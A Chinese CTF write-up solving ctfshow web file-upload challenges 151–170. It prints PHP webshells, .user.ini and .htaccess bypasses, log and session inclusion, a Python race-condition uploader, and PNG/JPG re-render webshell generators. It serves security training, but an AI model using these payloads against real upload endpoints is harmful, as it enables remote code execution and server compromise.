ctfshow之web入门(文件上传)

目录

web151

web152

web153(上传.user.ini绕过后缀)

​web154(短标签绕过关键字)

web155

web156([]过滤)

web157([、{、;过滤)

web158

web159(括号和分号均被过滤)

web160(日志包含)

​web161(GIF89绕过)

web162(条件竞争/session包含)

​web163

web164(png二次渲染)

​web165(jpg二次渲染)

​web166(zip注入)

​web167(.htaccess)

web168

web169&170(.user.ini的条件利用)


web151

前端限制不可靠,正常发个图片马然后抓个包在burp里改回php即可

<?= phpinfo(); eval($_POST["pass"]);

ls一下flag在flag.php下,直接cat不行

pass=include('php://filter/convert.base64-encode/resource=../flag.php');pass=show_source('../flag.php');

都可以

web152

Content-Type 是 HTTP 协议中的一个头字段,用于指示发送给接收方的数据的媒体类型(也称为MIME类型)

常见的 Content-Type 值 ​ 文本类型: ​ text/html: HTML 文档。 text/plain: 纯文本。 text/css: CSS 样式表。 text/javascript: JavaScript 文件。 应用类型: ​ application/json: JSON 数据格式。 application/xml: XML 数据格式。 application/x-www-form-urlencoded: 表单数据,以键值对方式编码,通常用于 POST 请求。 multipart/form-data: 表单数据,通常用于文件上传时。 图片类型: ​ image/jpeg: JPEG 图像。 image/png: PNG 图像。 image/gif: GIF 图像。 音频/视频类型: ​ audio/mpeg: MP3 音频。 video/mp4: MP4 视频。

这次是后端检验MIME类型,是image/png,上一题的做法依旧可以

web153(上传.user.ini绕过后缀)

应该是.php后缀被过滤了,属于后缀waf,已知方法有.user.ini和.htaccess绕过

.user.ini 文件可以设置特定目录和子目录下的 PHP 配置,因为更详细,它可以覆盖全局 php.ini 的相应配置

它的绕过情景:

1.文件上传大小限制:通过 .user.ini 文件增加 upload_max_filesizepost_max_size

2.脚本执行时间限制:修改max_execution_time延长脚本执行时间,长时间爆破

3.突破内存限制:修改memory_limit,脚本执行可以占用更多服务器的资源,造成DOS宕机

4.auto_prepend_file:将指向文件作为php包含到主文件,当用户访问.user.ini所在目录主页文件时,auto_prepend_file指向的文件会自动执行

这里可以利用auto_prepend_file自动执行木马

写一个.user.ini,为了能成功上传,给它加个png后缀,在burp改回去就行

auto_prepend_file=shell.png //配置效果:访问.user.ini的目录主文件时自动执行 ​ //或者auto_append_file效果一样,在文件末包含

之后再上传shell.png,这里直接以png形式上传即可

最后访问/upload目录(默认主页文件),shell.png会作为php(这和.htaccess有异曲同工)自动执行。

web154(短标签绕过关键字)

文件内容中不允许有php关键字

<?php @eval($_POST['cmd']); ?>           //正常写法 <?=@eval($_POST['cmd']); ?>               //短标签,适合过滤php <% @eval($_POST['cmd']); %>               //asp风格 <script language='php'>@eval($_POST['cmd']);</script>           //<script>风格,适合过滤<?

其余做法和上题一致,同样需要.user.ini绕过

web155

和154一样

web156([]过滤)

这次过滤有:php后缀(.user.ini),php关键字(短标签),和中括号(用大括号代替)

下面这个马不用大括号array_pop()用于把数组最后一个元素弹出

<?= @eval(array_pop($_POST))?>

$_POST不限制参数随便传个然后弹出就行

1=show_source('../flag.php');

web157([、{、;过滤)

在156题的基础上过滤了大括号和;

用上题的马

<?= @eval(array_pop($_POST))?>

web158

同上题

web159(括号和分号均被过滤)

使用``执行系统命令

<?= `cat ../flag.???`?>

flag在注释里

web160(日志包含)

这次``也被过滤,还有include可用,依旧上传.user.ini后上传shell.png

//shell.png <?=include"/var/lo"."g/nginx/access.l"."og"?> //有过滤,用拼接绕过

发现日志的UA头部分是当作php执行的

<?= `cat ../flag`?>

输入命令执行拿到flag即可

web161(GIF89绕过)

加了一层过滤会文件检测头内容判断究竟是不是图片文件,在上传文件开头一行加GIF89a即可

web162(条件竞争/session包含)

条件竞争:

在文件上传中,假设存在如下流程: ​ 上传文件后立即保存到服务器。 上传成功后进行文件格式的校验。 如果文件格式符合要求,则重命名该文件。 如果文件格式不符合要求,则删除该文件。

如果上传速度>删除速度,有文件会处于待校验的状态中,理论上我们就可以趁机访问

这次木马文件里RCE、shell命令、日志包含(.被过滤)均被ban,利用session为跳板进行条件竞争攻击

1.session包含:

PHP_SESSION_UPLOAD_PROGRESS的值会传入对应的PHPSESSID(抓包后会设置),默认储存在/tmp/sess_['PHPSESSID']中,所以可以写马

<!DOCTYPE html> <html> <body> <form action="http://78c48379-27b6-4a04-ac10-07c787b030d4.challenge.ctf.show/" method="POST" enctype="multipart/form-data">    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('tac ../f*')?>" />    <input type="file" name="111" />    <input type="submit" value="submit" /> </form> </body> </html> /*被强制上传的111(无意义)和progress会话存储都传到了/tmp目录下

抓包把session的id设置为'shell'再发包,此时/tmp/sess_id中已经有了马

2.上传.user.ini

------WebKitFormBoundaryW2VYvDm6852OBCmr Content-Disposition: form-data; name="file"; filename=".user.ini" Content-Type: image/png ​ GIF89a auto_prepend_file=/tmp/sess_shell ​ ------WebKitFormBoundaryW2VYvDm6852OBCmr--

反正都是要包含,就省去图片马,直接在主页面包含就行。

这里说明被删了,要用到条件竞争了

3.利用条件竞争疯狂地上传sess_shell文件,再不断GET访问/upload,包含/tmp/sess_shell

上传包

访问包

发现长度不一样的响应,这个包竞争成功,拿到flag

另外也可以用python脚本直接解决

import requests import threading import re # 创建一个会话对象,保持会话的状态 session = requests.session() # 自拟的PHPSESSID,用于保持上传过程中的会话一致性 sess = 'shell' # 目标URL url1 = "http://34da5d39-b2c1-45a3-a6bb-607e8941ca5a.challenge.ctf.show/" url2 = "http://34da5d39-b2c1-45a3-a6bb-607e8941ca5a.challenge.ctf.show/upload" # POST请求数据,利用PHP的SESSION_UPLOAD_PROGRESS漏洞,注入恶意PHP代码 data1 = {    'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>'  # 使用system函数执行命令 } # 要上传的文件数据 file = {    'file': '111'  # 文件名可以随意设置 } # 设置会话cookie cookies = {    'PHPSESSID': sess  # 上传过程中使用固定的PHPSESSID } # 定义上传文件的函数,持续发送POST请求 def upload_file():    while True:        session.post(url1, data=data1, files=file, cookies=cookies) # 定义读取文件的函数,持续检查返回的页面内容 def check_flag():    while True:        response = session.get(url2)  # 访问目标URL,检查是否能获取到flag        if 'flag' in response.text:  # 检查返回内容中是否包含flag            # 正则匹配flag,格式为ctfshow{}            flag = re.search(r'ctfshow{.+}', response.text)            if flag:                print(flag.group())  # 如果找到flag,打印它 # 创建两个线程,一个上传文件,一个检查flag threads = [    threading.Thread(target=upload_file),    threading.Thread(target=check_flag) ] # 启动所有线程 for t in threads:    t.start()

web163

和上题一样

web164(png二次渲染)

这次可以查看图片,经过测试传入的图片只能png格式

png结构

IHDR(Image Header):图像头部块,定义图像的基本属性(如宽度、高度、颜色深度等)。 IDAT(Image Data):图像数据块,包含实际的图像像素信息。 IEND(Image End):图像结束块,表示图像文件的结束。

下面这个脚本是国外大佬写的,生成的1.png图片里恶意代码插入了其中IDAT 块,经过浏览器二次渲染,这部分不变(可以打开010去前后对比看看),恶意代码会依然存在

<?php $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,           0x66, 0x44, 0x50, 0x33); $img = imagecreatetruecolor(32, 32); for ($y = 0; $y < sizeof($p); $y += 3) {   $r = $p[$y];   $g = $p[$y+1];   $b = $p[$y+2];   $color = imagecolorallocate($img, $r, $g, $b);   imagesetpixel($img, round($y / 3), 0, $color); } imagepng($img,'./1.png'); ?>

把1.png传上去,参数是$GET[0]($POST[1])

web165(jpg二次渲染)

这是来自网上大佬对jpg文件及渲染漏洞的解释:

一个典型的JPG文件由多个段组成,每个段都有特定的标识符和数据。常见的段包括: ​ SOI(Start of Image):图像开始标志 APPn(Application segments):应用程序自定义数据段 DQT(Define Quantization Table):量化表定义 DHT(Define Huffman Table):哈夫曼表定义 SOS(Start of Scan):扫描开始标志 EOI(End of Image):图像结束标志 ​ 当一个JPG文件被加载时,图像解析器会读取文件并将其内容转换为内存中的数据结构。解析器会逐段解析文件,并根据段内的指令和数据生成对应的图像。 ​ 解析头部信息:读取SOI和EOI标志,确定文件的边界。 解析数据段:逐个解析APPn、DQT、DHT、SOS等段,解码图像数据并渲染。 ​ 二次渲染漏洞: 修改APPn段:在第一次解析时,攻击者通过APPn段嵌入恶意数据,使解析器在后续处理时触发漏洞。 伪造数据段:攻击者修改DQT或DHT段,使得在二次渲染时解析器崩溃或执行恶意代码。

直接上脚本

<?php    /*    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().    It is necessary that the size and quality of the initial image are the same as those of the processed image.    1) Upload an arbitrary image via secured files upload script    2) Save the processed image and launch:    jpg_payload.php <jpg_name.jpg>    In case of successful injection you will get a specially crafted image, which should be uploaded again.    Since the most straightforward injection method is used, the following problems can occur:    1) After the second processing the injected data may become partially corrupted.    2) The jpg_payload.php script outputs "Something's wrong".    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.    Sergey Bobrov @Black2Fan.    See also:    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/    */    $miniPayload = '<?=eval($_POST[1]);?>';    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {        die('php-gd is not installed');   }        if(!isset($argv[1])) {        die('php jpg_payload.php <jpg_name.jpg>');   }    set_error_handler("custom_error_handler");    for($pad = 0; $pad < 1024; $pad++) {        $nullbytePayloadSize = $pad;        $dis = new DataInputStream($argv[1]);        $outStream = file_get_contents($argv[1]);        $extraBytes = 0;        $correctImage = TRUE;        if($dis->readShort() != 0xFFD8) {            die('Incorrect SOI marker');       }        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {            $marker = $dis->readByte();            $size = $dis->readShort() - 2;            $dis->skip($size);            if($marker === 0xDA) {                $startPos = $dis->seek();                $outStreamTmp =                    substr($outStream, 0, $startPos) .                    $miniPayload .                    str_repeat("\0",$nullbytePayloadSize) .                    substr($outStream, $startPos);                checkImage('_'.$argv[1], $outStreamTmp, TRUE);                if($extraBytes !== 0) {                    while((!$dis->eof())) {                        if($dis->readByte() === 0xFF) {                            if($dis->readByte !== 0x00) {                                break;                           }                       }                   }                    $stopPos = $dis->seek() - 2;                    $imageStreamSize = $stopPos - $startPos;                    $outStream =                        substr($outStream, 0, $startPos) .                        $miniPayload .                        substr(                            str_repeat("\0",$nullbytePayloadSize).                                substr($outStream, $startPos, $imageStreamSize),                            0,                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) .                                substr($outStream, $stopPos);               } elseif($correctImage) {                    $outStream = $outStreamTmp;               } else {                    break;               }                if(checkImage('payload_'.$argv[1], $outStream)) {                    die('Success!');               } else {                    break;               }           }       }   }    unlink('payload_'.$argv[1]);    die('Something\'s wrong');    function checkImage($filename, $data, $unlink = FALSE) {        global $correctImage;        file_put_contents($filename, $data);        $correctImage = TRUE;        imagecreatefromjpeg($filename);        if($unlink)            unlink($filename);        return $correctImage;   }    function custom_error_handler($errno, $errstr, $errfile, $errline) {        global $extraBytes, $correctImage;        $correctImage = FALSE;        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {            if(isset($m[1])) {                $extraBytes = (int)$m[1];           }       }   }    class DataInputStream {        private $binData;        private $order;        private $size;        public function __construct($filename, $order = false, $fromString = false) {            $this->binData = '';            $this->order = $order;            if(!$fromString) {                if(!file_exists($filename) || !is_file($filename))                    die('File not exists ['.$filename.']');                $this->binData = file_get_contents($filename);           } else {                $this->binData = $filename;           }            $this->size = strlen($this->binData);       }        public function seek() {            return ($this->size - strlen($this->binData));       }        public function skip($skip) {            $this->binData = substr($this->binData, $skip);       }        public function readByte() {            if($this->eof()) {                die('End Of File');           }            $byte = substr($this->binData, 0, 1);            $this->binData = substr($this->binData, 1);            return ord($byte);       }        public function readShort() {            if(strlen($this->binData) < 2) {                die('End Of File');           }            $short = substr($this->binData, 0, 2);            $this->binData = substr($this->binData, 2);            if($this->order) {                $short = (ord($short[1]) << 8) + ord($short[0]);           } else {                $short = (ord($short[0]) << 8) + ord($short[1]);           }            return $short;       }        public function eof() {            return !$this->binData||(strlen($this->binData) === 0);       }   } ?>

这个脚本的用法是先把原图片上传到靶机经过一次渲染后,拿到本地,经过脚本加工

php jpg二次渲染.php download.jpg

生成图片马再上传,拿到flag

用下面这个图片成功率高

web166(zip注入)

随便搞个压缩包再把恶意代码插入进去即可

web167(.htaccess)

上传.htaccess,于.user.ini它是应用于服务器的配置,功能是把指定文件作为php执行

<FilesMatch "shell.jpg"> SetHandler application/x-httpd-php </FilesMatch>

或者

AddType application/x-httpd-php .jpg /将.jpg后缀文件当作php解析

注意类型是Content-Type: image/jpeg其余没什么好注意的了

图片马上传访问就可以了

web168

木马里用反引号执行命令即可

web169&170(.user.ini的条件利用)

<被ban了,木马都不让写了,从靶机内部文件入手,想到日志包含,之前web160的日志包含其实有多此一举的步骤

本来就是要包含,没必要再写个包含马,直接在.user.ini中包含日志就可以

auto_prepend_file=/var/log/nginx/access.log

然后再UA头写马就能拿flag了

Read more

【机器人零件】行星减速器

行星减速器 行星减速器作为精密传动系统的核心部件,在现代工业中扮演着至关重要的角色。本文将全面介绍行星减速器的减速比计算公式、提供C++代码实现实例,并详细分析其应用场景和使用条件。通过深入理解这些内容,工程师和技术人员能够更准确地选择、设计和应用行星减速器,满足各种机械传动需求。 行星减速器基本原理与结构组成 行星减速器,又称行星齿轮减速器,是一种采用行星轮系传动原理的精密减速装置。其基本结构由四个主要部件构成:位于中心的太阳轮(Sun Gear)、围绕太阳轮旋转的行星轮(Planetary Gear)、固定不动的内齿圈(Ring Gear)以及连接行星轮的行星架(Planetary Carrier)。这种独特的结构使得行星减速器能够在紧凑的空间内实现高减速比和大扭矩输出。 行星减速器的工作原理基于齿轮啮合理论,通过太阳轮、行星轮和内齿圈之间的相互作用实现动力传递和转速降低。当电机或其他动力源驱动太阳轮旋转时,行星轮不仅会绕自身轴线自转,还会在行星架的带动下绕太阳轮公转。这种复合运动通过行星架输出,实现减速和增扭的效果。由于多个行星轮同时参与啮合,载荷被均匀分散,这使得行星

【机器人】具身导航 VLN 最新论文汇总 | Vision-and-Language Navigation

【机器人】具身导航 VLN 最新论文汇总 | Vision-and-Language Navigation

本文汇总了具身导航的论文,供大家参考学习,涵盖2026、2025、2024、2023等 覆盖的会议和期刊:CVPR、IROS、ICRA、RSS、arXiv等等 论文和方法会持续更新的~ 一、🏠 中文标题版 2026 ✨ * [2026] SeqWalker:基于分层规划的时序视野视觉语言导航方法 [ 论文 ] [ GitHub ]   * [2026] UrbanNav:从网络规模人类轨迹中学习语言引导的城市导航方法 [ 论文 ] [ GitHub ]  * [2026] VLN-MME:面向语言引导视觉导航智能体的多模态大语言模型诊断基准 [ 论文 ] [ GitHub ]  * [2026] ASCENT: 实现楼层感知的零样本物体目标导航  [ 论文] [ GitHub ] 2025 😆 * [2025] ETP-R1:面向连续环境VLN的进化拓扑规划与强化微调方法 [ 论文 ] [ GitHub ] * [2025] NaviTrace:评估视觉语言模型在真实世界场景中的导航能力 [ 论文 ] [ GitHub ] * [2025]

DTS-BLY-5S (LDV) 分布式光纤测温主机:20km 全域感知 + FPGA 硬核架构,重新定义工业安全监测标准

DTS-BLY-5S (LDV) 分布式光纤测温主机:20km 全域感知 + FPGA 硬核架构,重新定义工业安全监测标准

在管线传输、新能源、核电、隧道等关键工业领域,温度监测的 “距离、精度、稳定性” 直接决定安全防线的坚固程度。传统分布式光纤测温(DTS)系统普遍存在 “远距离精度衰减、复杂环境抗干扰弱、维护成本高” 等痛点,难以匹配现代化工业场景的严苛需求。 无锡布里渊电子科技深耕核心技术,推出 DTS-BLY-5S (LDV) 长距离分布式光纤测温主机,以 “FPGA+ARM 嵌入式架构” 为核心,融合拉曼光时域(ROTDR)原理,实现 20km 超长距覆盖、±1m 精准定位与 ±0.1℃超高精度的三重突破,为工业安全监测提供全方位、高可靠的革命性解决方案。 核心技术革新:FPGA 硬解码架构,秒杀传统软解码系统 1. 架构升级:告别 Windows 依赖,工业环境适应性拉满

HarmonyOS6 底部导航栏组件 rc_concave_tabbar 使用指南

HarmonyOS6 底部导航栏组件 rc_concave_tabbar 使用指南

文章目录 * 前言 * 组件特性 * 适用场景 * 使用说明 * 安装组件 * 安装步骤 * 步骤一:引入相关依赖 * 步骤二:创建菜单数据 * 步骤三:使用导航组件 * 运行效果 * 参数介绍 * TabsConcaveCircle 组件参数 * TabMenusInterfaceIRequired 菜单项配置 * 进阶使用 * 自定义单个菜单项颜色 * 调整动画速度 * 自定义高度和颜色 * 注意事项 * 总结 前言 rc_concave_tabbar 是一个功能强大、样式精美的 HarmonyOS 底部导航栏组件库,提供凹陷圆形动画效果样式,适用于多种场景。本篇将介绍 rc_concave_tabbar 的使用方法以及其相关的设计理念。 组件特性 * 流畅动画:支持流畅的凹陷圆形切换动画效果 * 高度定制:支持自定义背景色、字体颜色、高度等多种样式配置 * 灵活配置:支持全局配置和单项配置,满足不同场景需求